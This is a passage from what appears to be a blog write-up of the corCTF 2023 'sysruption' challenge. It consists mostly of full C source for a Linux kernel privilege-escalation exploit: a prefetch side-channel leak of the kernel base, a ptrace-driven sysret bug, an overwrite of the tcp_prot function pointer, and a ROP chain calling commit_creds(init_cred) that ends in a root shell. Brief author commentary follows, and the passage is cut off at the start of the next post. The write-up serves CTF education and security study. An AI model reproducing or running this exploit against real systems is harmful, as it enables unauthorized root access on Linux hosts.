</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PHYSMAP_BOTTOM 0xffff888000000000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-meta" style="color: #2b91af; font-family: monospace; white-space: pre;">#<span class="hljs-keyword" style="color: blue;">define</span> PHYSMAP_TOP 0xffffc88000000000ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> kbase = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> curr_cpu_gsbase = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffff88813bc00000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> trampoline = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81a00ee1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rsp = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff811083d0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rsp_rsi = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81514860</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> push_rcx_jmp_ptr_rcx = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff8136b694</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rsi_rdi_rbp = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81f006d9</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rdi_rcx = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81cda0b8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pop_rdi = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff811d63f3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> tcp_prot = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff82160180</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> commit_creds = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff8109b810</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> init_cred = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff8203ade0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffff81000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">ull;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">nopper</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> user_regs_struct *regs)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">overwrite_ioctl</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> user_regs_struct *regs)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
regs->r9 = push_rcx_jmp_ptr_rcx;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *stack_addr = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">win</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fd = open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/root/flag.txt"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDONLY);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buf[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">300</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> n = read(fd, buf, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buf));
write(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, buf, n);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"r000000000t"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
system(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/bin/sh"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
__attribute__((naked)) </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">escaped_from_hell</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(
<span class="hljs-string" style="color: #a31515;">".intel_syntax noprefix;"</span>
<span class="hljs-string" style="color: #a31515;">"lea rsp, qword ptr [rip + stack_addr];"</span>
<span class="hljs-string" style="color: #a31515;">"mov rsp, qword ptr [rsp];"</span>
<span class="hljs-string" style="color: #a31515;">"mov rax, 0xff;"</span>
<span class="hljs-string" style="color: #a31515;">"not rax;"</span>
<span class="hljs-string" style="color: #a31515;">"and rsp, rax;"</span>
<span class="hljs-string" style="color: #a31515;">"push rax;"</span>
<span class="hljs-string" style="color: #a31515;">"call win;"</span>
<span class="hljs-string" style="color: #a31515;">".att_syntax;"</span>
:::)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">trigger_sysret_bug</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint64_t</span> <span class="hljs-built_in" style="color: blue;">stack</span>, <span class="hljs-type" style="color: #a31515;">void</span> (*setup_regs)(<span class="hljs-keyword" style="color: blue;">struct</span> user_regs_struct *reg))</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">user_regs_struct</span> <span class="hljs-title" style="color: #a31515;">regs</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> status;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">pid_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> chld;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ((chld = fork()) < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) {
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"fork"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (chld == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) {
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (ptrace(PTRACE_TRACEME, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) != </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) {
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"PTRACE_TRACEME"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
raise(SIGSTOP);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// if ptrace set regs too many at once, simply just fails and never triggers sysret bug</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// not sure why this is the case, so set registers before ptrace</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(
<span class="hljs-string" style="color: #a31515;">".intel_syntax noprefix;"</span>
<span class="hljs-string" style="color: #a31515;">"mov r14, qword ptr [pop_rsp_rsi];"</span>
<span class="hljs-string" style="color: #a31515;">"mov r13, qword ptr [pop_rdi];"</span>
<span class="hljs-string" style="color: #a31515;">"mov r12, qword ptr [init_cred];"</span>
<span class="hljs-string" style="color: #a31515;">"mov rbp, qword ptr [commit_creds];"</span>
<span class="hljs-string" style="color: #a31515;">"mov rbx, qword ptr [trampoline];"</span>
<span class="hljs-string" style="color: #a31515;">"mov r11, 0xdeadbeef;"</span>
<span class="hljs-string" style="color: #a31515;">"mov r10, 0xbaadf00d;"</span>
<span class="hljs-string" style="color: #a31515;">"lea r9, qword ptr [rip + escaped_from_hell];"</span>
<span class="hljs-string" style="color: #a31515;">"mov r8, 0x33;"</span>
<span class="hljs-comment" style="color: green;">// no need for stack, we can restore in naked function in asm, otherwise interfere with rax</span>
<span class="hljs-string" style="color: #a31515;">"mov rdx, 0x2b;"</span>
<span class="hljs-string" style="color: #a31515;">"mov rax, 57;"</span>
<span class="hljs-string" style="color: #a31515;">"syscall;"</span>
<span class="hljs-string" style="color: #a31515;">"ud2;"</span>
<span class="hljs-string" style="color: #a31515;">".att_syntax;"</span>:::)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
waitpid(chld, &status, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
ptrace(PTRACE_SETOPTIONS, chld, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, PTRACE_O_TRACEFORK);
ptrace(PTRACE_CONT, chld, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
waitpid(chld, &status, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
ptrace(PTRACE_GETREGS, chld, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, &regs);
regs.rcx = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x8fffffffffff1337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
regs.rip = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x8fffffffffff1337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
regs.rsp = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">stack</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
setup_regs(&regs);
ptrace(PTRACE_SETREGS, chld, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, &regs);
ptrace(PTRACE_CONT, chld, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
ptrace(PTRACE_DETACH, chld, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">main</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> argc, <span class="hljs-type" style="color: #a31515;">char</span> **argv)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
assign_to_core(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fd = socket(AF_INET, SOCK_STREAM, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (argc == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
threshold = atoi(argv[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// current threshold causes it to leak etext</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> kbase = prefetch_leak(KERNEL_BOTTOM, KERNEL_TOP, KERNEL_STEP) - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xc00000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> curr_cpu_gsbase = (prefetch_leak(PHYSMAP_BOTTOM, PHYSMAP_TOP, PHYSMAP_STEP) & ~((</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1ull</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"><<</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)) - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x100000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x13bc00000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil_stack = curr_cpu_gsbase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x860</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">printf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"kbase: 0x%lx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, kbase);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">printf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"current cpu gsbase: 0x%lx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, curr_cpu_gsbase);
stack_addr = &fd;
trampoline += kbase;
pop_rsp += kbase;
pop_rsp_rsi += kbase;
push_rcx_jmp_ptr_rcx += kbase;
pop_rsi_rdi_rbp += kbase;
pop_rdi_rcx += kbase;
pop_rdi += kbase;
tcp_prot += kbase;
commit_creds += kbase;
init_cred += kbase;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">printf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"stack pivot: 0x%lx\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, push_rcx_jmp_ptr_rcx);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(
<span class="hljs-string" style="color: #a31515;">".intel_syntax noprefix;"</span>
<span class="hljs-string" style="color: #a31515;">"mov rax, %0;"</span>
<span class="hljs-string" style="color: #a31515;">"wrgsbase rax;"</span>
<span class="hljs-string" style="color: #a31515;">".att_syntax;"</span>::<span class="hljs-string" style="color: #a31515;">"r"</span>(curr_cpu_gsbase):<span class="hljs-string" style="color: #a31515;">"rax"</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"calling wrgsbase"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"writing rop chain into current cpu gs base"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// write rop chain to gs base first</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fork() == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
trigger_sysret_bug(evil_stack, &nopper);
wait(</span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
sleep(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
evil_stack = tcp_prot + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xb8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// overwrite ioctl in tcp proto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"overwriting tcp_prot func pointers"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fork() == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
trigger_sysret_bug(evil_stack, &overwrite_ioctl);
wait(</span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
sleep(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
getchar();
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// target setsockopt func ptr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"triggering ROP"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
setsockopt(fd, SOL_TCP, TCP_ULP, curr_cpu_gsbase + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x7c0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"hi"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}</span></span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjAcUiuYEopYBfYCk1IqxWFONjV-k1vfeveEGLol7ESAsZseJ9ebCoMy54NzObP6roMDYEKkROfFyDmE1SvZubmK8knHo7hNtQAo9jyJH8DIQlnj4WupkieaHufbAr-DhTr8z1RmDphClRjQXXm-bi07ul1Nb77UQHqYygQqgh5g2VtFdkwWgMUn0qAnr9/s1000/sysruption.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="599" data-original-width="1000" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjAcUiuYEopYBfYCk1IqxWFONjV-k1vfeveEGLol7ESAsZseJ9ebCoMy54NzObP6roMDYEKkROfFyDmE1SvZubmK8knHo7hNtQAo9jyJH8DIQlnj4WupkieaHufbAr-DhTr8z1RmDphClRjQXXm-bi07ul1Nb77UQHqYygQqgh5g2VtFdkwWgMUn0qAnr9/w640-h384/sysruption.gif" width="640" /></a></div><p>One interesting thing noticeable in the exploit is my adjusted
strategy for prefetching. In my original EntryBleed PoC, I used simple
averages. After doing a lot more micro-architectural attacks in the past
year, I believe scoring leak candidates through a threshold system is a
much better strategy and less susceptible to extreme outliers that
would skew averaging. This threshold would be
different across different CPUs, but would not be difficult to
enumerate. Sometimes, the leak in my exploit is wrong (especially for kernel base), but I hypothesize
that the accuracy could be improved if I performed a ton of memory
accesses beforehand to help flush the TLB a bit more.</p>
<p>This concludes my writeups for corCTF 2023! Feel free to ask any
questions about this or point out any mistakes. I hope people had a lot
of fun with sysruption, especially as it combined a hardware quirk, a µarch attack, and a kernel exploit in one challenge as the description
mentioned 😉. Congrats once again to Zolutal for the first blood, and to
<a href="https://twitter.com/sampriti0" target="_blank">sampriti</a> and team <a href="https://balsn.tw/" target="_blank">Balsn</a> for second and third bloods, and thanks again to 6.888 for inspiring the components for this challenge!</p><p><br /></p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-8814147965526194982.post-75743932834492978942023-08-02T17:36:00.003-07:002023-08-03T09:46:56.572-07:00corCTF 2023 smm-diary: Ropping in Ring -2<p>smm-diary was a medium difficulty pwnable challenge I wrote this year
for corCTF 2023. I spent some time in the past year playing around with
